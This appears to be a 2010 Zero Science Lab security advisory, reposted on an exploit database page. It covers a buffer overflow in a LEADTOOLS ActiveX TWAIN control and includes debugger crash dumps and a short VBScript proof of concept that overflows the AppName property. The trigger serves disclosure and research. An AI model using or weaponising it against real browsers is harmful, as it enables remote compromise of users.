Leadtools ActiveX Raster Twain v16.5 (LtocxTwainu.dll) Buffer Overflow Vulnerability

Exploit Code :

LEADTOOLS ActiveX Raster Twain v16.5 (LtocxTwainu.dll) Remote Buffer
Overflow PoC

Vendor: LEAD Technologies, Inc.
Product Web Page: http://www.leadtools.com
Affected Version: 16.5.0.2

Summary: With LEADTOOLS you can control any scanner, digital camera
or capture card that has a TWAIN (32 and 64 bit) device driver.
High-level acquisition support is included for ease of use while
low-level functionality is provided for flexibility and control in
even the most demanding scanning applications.

Desc: The Raster Twain Object Library suffers from a buffer overflow
vulnerability because it fails to check the boundry of the user input.

Tested On: Microsoft Windows XP Professional SP3 (EN)
Windows Internet Explorer 8.0.6001.18702
RFgen Mobile Development Studio 4.0.0.06 (Enterprise)

===============================================================

(2c4.2624): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00130041 ebx=100255bc ecx=01649000 edx=00183984 esi=0013ef6c
edi=00000000
eip=7c912f4e esp=0013eda8 ebp=0013eda8 iopl=0 nv up ei pl nz na pe
nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00010206
ntdll!wcscpy+0xe:
7c912f4e 668901 mov word ptr [ecx],ax
ds:0023:01649000=????
0:000> g
(2c4.2624): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00410039 ebx=00410039 ecx=00150000 edx=00150608 esi=00150000
edi=00410041
eip=7c96c540 esp=0013f220 ebp=0013f228 iopl=0 nv up ei pl nz na pe
nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00010206
ntdll!RtlpNtMakeTemporaryKey+0x6a74:
7c96c540 807b07ff cmp byte ptr [ebx+7],0FFh
ds:0023:00410040=??

==================================================================

Registers:
--------------------------------------------------
EIP 7C912F4E
EAX 00130041
EBX 100255BC -> 10014840 -> Asc: @H@H
ECX 01649000
EDX 001839DC -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAA
EDI 00000000
ESI 0013EF6C -> BAAD0008
EBP 0013EDA8 -> 0013EDDC
ESP 0013EDA8 -> 0013EDDC

--

EIP 7C96C540
EAX 00410039
EBX 00410039
ECX 00150000 -> 000000C8
EDX 00150608 -> 7C97B5A0
EDI 00410041
ESI 00150000 -> 000000C8
EBP 0013F228 -> 0013F278
ESP 0013F220 -> 00150000

ArgDump:
--------------------------------------------------
EBP+8 016479B0 -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAA
EBP+12 0018238C -> Uni: AAAAAAAAAAAAAAAAAAAAAAAAA
EBP+16 00000000
EBP+20 0013EF6C -> BAAD0008
EBP+24 100255BC -> 10014840 -> Asc: @H@H
EBP+28 0013EDB8 -> 00000000

--

EBP+8 00150000 -> 000000C8
EBP+12 00410039
EBP+16 7C96DBA4 -> Asc: RtlGetUserInfoHeap
EBP+20 00000000
EBP+24 00410041
EBP+28 7C80FF12 -> 9868146A

CompanyName LEAD Technologies, Inc.
FileDescription LEADTOOLS ActiveX Raster Twain (Win32)
FileVersion 16,5,0,2
InternalName LTRTNU
LegalCopyright Â© 1991-2009 LEAD Technologies, Inc.
OriginalFileName LTRTNU.DLL
ProductName LEADTOOLSÂ® for Win32
ProductVersion 16.5.0.0

Report for Clsid: {00165752-B1BA-11CE-ABC6-F5B2E79D9E3F}
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: False

Exception Code: ACCESS_VIOLATION

Disasm: 7C912F4E MOV [ECX],AX (ntdll.dll)
Disasm: 7C96C540 CMP BYTE PTR [EBX+7],FF (ntdll.dll)

Exception Code: BREAKPOINT

Disasm: 7C90120E INT3 (ntdll.dll)

Seh Chain:
--------------------------------------------------
1 7C839AC0 KERNEL32.dll
2 FC2950 VBSCRIPT.dll
3 7C90E900 ntdll.dll

7C912F4E MOV [ECX],AX <--- CRASH
7C96C540 CMP BYTE PTR [EBX+7],FF <--- CRASH
7C90120F RETN <--- CRASH

==================================================================

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com

Zero Science Lab - http://www.zeroscience.mk

24.08.2010

Zero Science Lab Advisory ID: ZSL-2010-4960
Advisory URL:
http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4960.php

PoC:

<object classid='clsid:00165752-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target'
/>
<script language='vbscript'>

targetFile = "C:\Program Files\RFGen40\LtocxTwainu.dll"
prototype = "Property Let AppName As String"
memberName = "AppName"
progid = "LTRASTERTWAINLib_U.LEADRasterTwain_U"
argCount = 1

arg1=String(9236, "A")

target.AppName = arg1

</script>

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason